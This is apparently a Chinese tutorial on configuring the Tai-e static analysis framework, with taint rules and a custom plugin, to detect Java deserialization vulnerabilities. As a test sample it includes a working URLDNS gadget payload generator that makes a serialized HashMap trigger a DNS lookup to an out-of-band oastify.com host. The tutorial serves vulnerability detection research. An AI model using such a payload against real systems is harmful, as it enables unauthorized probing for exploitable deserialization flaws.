利用Tai-e探测反序列化漏洞(其一)
字数 1526 2025-08-22 18:37:27

利用Tai-e静态分析框架探测Java反序列化漏洞教学文档

1. Tai-e框架简介

Tai-e是由南京大学李樾樾、谭添老师开发的针对Java的静态程序分析框架,主要功能是提供精准快速的指针分析框架。该框架具有以下特点:

  • 采用插件化开发模式,允许开发者扩展具体功能
  • 内置强大的反射分析技术Solar
  • 2023年发表在ISSTA会议上
  • 支持污点分析等安全分析功能

2. 环境配置

2.1 下载Tai-e

git clone https://github.com/pascal-lab/Tai-e.git
git submodule update --init --recursive

2.2 Gradle配置问题解决

如果网络环境导致Gradle下载卡住:

  1. 从官网下载对应版本的Gradle(complete版)
  2. 修改gradle-wrapper.properties中的distributionUrl,改为本地路径:
    distributionUrl=file:///path/to/your/gradle-x.x.x-bin.zip
    

2.3 测试样本准备

创建URLDNS测试类:

public class URLDNS {
    public URLDNS() {}
    
    public static void main(String[] args) throws Exception {
        byte[] evil_payload = getpayload();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(evil_payload));
        Object o = ois.readObject();
    }
    
    public static byte[] getpayload() throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap();
        URL url = new URL("http://7u2atlxr1e2fd1nv40jyr60m0d66uv.oastify.com");
        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        hashmap.put(url, 1);
        hashCodeField.set(url, -1);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashmap);
        oos.close();
        return barr.toByteArray();
    }
}

编译后放置在java-benchmarks/urldns目录下。

3. 配置文件编写

3.1 options.yml

optionsFile: null
printHelp: false
classPath: []
appClassPath:
  - java-benchmarks/urldns
mainClass: URLDNS
inputClasses: []
javaVersion: 8
prependJVM: false
allowPhantom: true
worldBuilderClass: pascal.taie.frontend.soot.SootWorldBuilder
outputDir: output
preBuildIR: true
worldCacheMode: false
scope: ALL
nativeModel: true
planFile: null
analyses:
  pta:
    cs: ci
    implicit-entries: false
    distinguish-string-constants: null
    reflection-inference: solar
    merge-string-objects: false
    merge-string-builders: false
    merge-exception-objects: false
    taint-config: java-benchmarks/urldns/taint-config.yml
onlyGenPlan: false
keepResult:
  - $KEEP-ALL

3.2 taint-config.yml

sources:
  - { kind: param, method: "<java.util.HashMap: void readObject(java.io.ObjectInputStream)>", index: 0 }
  
sinks:
  - { method: "<java.net.InetAddress: java.net.InetAddress getByName(java.lang.String)>", index: 0 }
  
transfers:
  - { method: "<java.io.ByteArrayInputStream: void <init>(byte[])>", from: 0, to: base }
  - { method: "<java.io.ObjectInputStream: void <init>(java.io.InputStream)>", from: 0, to: base }
  - { method: "<java.io.ObjectInputStream: java.lang.Object readObject()>", from: base, to: result, type: "java.net.URL"}
  - { method: "<java.net.URL: java.lang.String getHost()>", from: base, to: result, type: "java.lang.String"}

4. 插件开发

4.1 插件功能设计

需要实现两个主要功能:

  1. 入口方法识别:将HashMap.readObject()设为入口方法
  2. 抽象类处理:处理URLStreamHandler等抽象类的指针指向问题

4.2 完整插件代码

public class UnserializeEntryPointHandler implements Plugin {
    private Solver solver;
    private String findclass = "java.util.HashMap";
    private String exceptionclass = "java.net.URLStreamHandler";
    
    @Override
    public void setSolver(Solver solver) {
        this.solver = solver;
    }
    
    @Override
    public void onStart() {
        // 添加HashMap readObject到入口点
        List<JClass> list = solver.getHierarchy().allClasses().toList();
        List<Type> paramType = new ArrayList<>();
        
        for (JClass jClass : list) {
            if (jClass.getName().equals(findclass)) {
                JMethod jMethod = jClass.getDeclaredMethod("readObject");
                if (jMethod != null) {
                    solver.addEntryPoint(new EntryPoint(
                        jMethod, 
                        new DeclaredParamProvider(jMethod, solver.getHeapModel())
                    ));
                }
            }
        }
    }
    
    @Override
    public void onPhaseFinish() {
        solver.getCallGraph().reachableMethods().forEach(csMethod -> {
            if (csMethod.getMethod().getDeclaringClass().getName().equals("java.net.URL")) {
                csMethod.getMethod().getIR().getStmts().forEach(stmt1 -> {
                    if (stmt1 instanceof Invoke invoke && 
                        (invoke.isVirtual() || invoke.isInterface()) && 
                        invoke.getRValue() instanceof InvokeInstanceExp invokeInstanceExp) {
                        
                        Var var = invokeInstanceExp.getBase();
                        Context context = csMethod.getContext();
                        
                        if (solver.getCSManager().getCSVar(context, var).getPointsToSet() == null || 
                            solver.getCSManager().getCSVar(context, var).getPointsToSet().isEmpty()) {
                            
                            JClass jclass = World.get().getClassHierarchy().getClass(var.getType().getName());
                            Collection<JClass> implementors = new ArrayList<>();
                            
                            if (invoke.isInterface()) {
                                implementors.addAll(
                                    World.get().getClassHierarchy().getDirectImplementorsOf(jclass)
                                );
                            } else {
                                implementors.add(jclass);
                                implementors.addAll(
                                    World.get().getClassHierarchy().getDirectSubclassesOf(jclass)
                                );
                            }
                            
                            implementors.forEach(implementor -> {
                                solver.addPointsTo(
                                    solver.getCSManager().getCSVar(csMethod.getContext(), var),
                                    csMethod.getContext(),
                                    solver.getHeapModel().getMockObj(
                                        () -> "Unserialzie", 
                                        implementor.getName(), 
                                        implementor.getType()
                                    )
                                );
                            });
                        }
                    }
                });
            }
        });
    }
}

4.3 插件注册

pascal.taie.analysis.pta.PointerAnalysis类的setPlugin方法中加入该插件。

5. 关键问题解析

5.1 为什么选择HashMap.readObject作为source

反序列化漏洞的调用栈通常为:

ObjectInputStream.readObject -> 反射调用 -> 目标类.readObject

由于反射调用的目标类取决于攻击者控制的输入,静态分析难以确定具体类型,因此直接从已知的载体类(如HashMap)的readObject方法开始分析。

5.2 污点转移的类型指定

taint-config.yml中,特别指定了:

- { method: "<java.io.ObjectInputStream: java.lang.Object readObject()>", from: base, to: result, type: "java.net.URL"}

这是因为:

  1. 如果不指定类型,返回的污点类型默认为java.lang.Object
  2. 当Object进入hash()方法时,会调用Object.hashCode()而非预期的URL.hashCode()
  3. 需要人为干预污点类型以保证分析准确性

5.3 抽象类处理问题

URLStreamHandler是抽象类,在代码中没有实例化语句,Tai-e不会为其生成PointerToSet。解决方案:

  1. onPhaseFinish阶段检查所有可达方法
  2. 对java.net.URL类中的方法调用特别处理
  3. 为抽象类变量添加所有子类的mock对象到指向集

6. 运行与结果

配置Tai-e启动参数后运行,成功检测到从HashMap.readObject到InetAddress.getByName的污点传播路径。

7. 优化方向

  1. 更优雅的污点转移处理:寻找不依赖硬编码类型指定的方法,可能结合CHA(类层次分析)
  2. 灵活的入口方法配置:支持通过配置文件批量指定入口方法,不限于HashMap
  3. 更通用的抽象类处理:考虑对所有类应用类似处理,而不仅限于特定类
  4. 完整的反序列化分析:包含ObjectInputStream.readObject的完整分析流程

8. 参考资源

  1. Tai-e官方文档:https://tai-e.pascal-lab.net/docs/0.2.2/reference/en/index-single.html
  2. Tai-e GitHub仓库:https://github.com/pascal-lab/Tai-e
  3. 相关技术文章:https://xz.aliyun.com/t/13775, https://xz.aliyun.com/t/14058
利用Tai-e静态分析框架探测Java反序列化漏洞教学文档 1. Tai-e框架简介 Tai-e是由南京大学李樾樾、谭添老师开发的针对Java的静态程序分析框架,主要功能是提供精准快速的指针分析框架。该框架具有以下特点: 采用插件化开发模式,允许开发者扩展具体功能 内置强大的反射分析技术Solar 2023年发表在ISSTA会议上 支持污点分析等安全分析功能 2. 环境配置 2.1 下载Tai-e 2.2 Gradle配置问题解决 如果网络环境导致Gradle下载卡住: 从官网下载对应版本的Gradle(complete版) 修改 gradle-wrapper.properties 中的 distributionUrl ,改为本地路径: 2.3 测试样本准备 创建URLDNS测试类: 编译后放置在 java-benchmarks/urldns 目录下。 3. 配置文件编写 3.1 options.yml 3.2 taint-config.yml 4. 插件开发 4.1 插件功能设计 需要实现两个主要功能: 入口方法识别 :将HashMap.readObject()设为入口方法 抽象类处理 :处理URLStreamHandler等抽象类的指针指向问题 4.2 完整插件代码 4.3 插件注册 在 pascal.taie.analysis.pta.PointerAnalysis 类的 setPlugin 方法中加入该插件。 5. 关键问题解析 5.1 为什么选择HashMap.readObject作为source 反序列化漏洞的调用栈通常为: 由于反射调用的目标类取决于攻击者控制的输入,静态分析难以确定具体类型,因此直接从已知的载体类(如HashMap)的readObject方法开始分析。 5.2 污点转移的类型指定 在 taint-config.yml 中,特别指定了: 这是因为: 如果不指定类型,返回的污点类型默认为java.lang.Object 当Object进入hash()方法时,会调用Object.hashCode()而非预期的URL.hashCode() 需要人为干预污点类型以保证分析准确性 5.3 抽象类处理问题 URLStreamHandler是抽象类,在代码中没有实例化语句,Tai-e不会为其生成PointerToSet。解决方案: 在 onPhaseFinish 阶段检查所有可达方法 对java.net.URL类中的方法调用特别处理 为抽象类变量添加所有子类的mock对象到指向集 6. 运行与结果 配置Tai-e启动参数后运行,成功检测到从HashMap.readObject到InetAddress.getByName的污点传播路径。 7. 优化方向 更优雅的污点转移处理 :寻找不依赖硬编码类型指定的方法,可能结合CHA(类层次分析) 灵活的入口方法配置 :支持通过配置文件批量指定入口方法,不限于HashMap 更通用的抽象类处理 :考虑对所有类应用类似处理,而不仅限于特定类 完整的反序列化分析 :包含ObjectInputStream.readObject的完整分析流程 8. 参考资源 Tai-e官方文档:https://tai-e.pascal-lab.net/docs/0.2.2/reference/en/index-single.html Tai-e GitHub仓库:https://github.com/pascal-lab/Tai-e 相关技术文章:https://xz.aliyun.com/t/13775, https://xz.aliyun.com/t/14058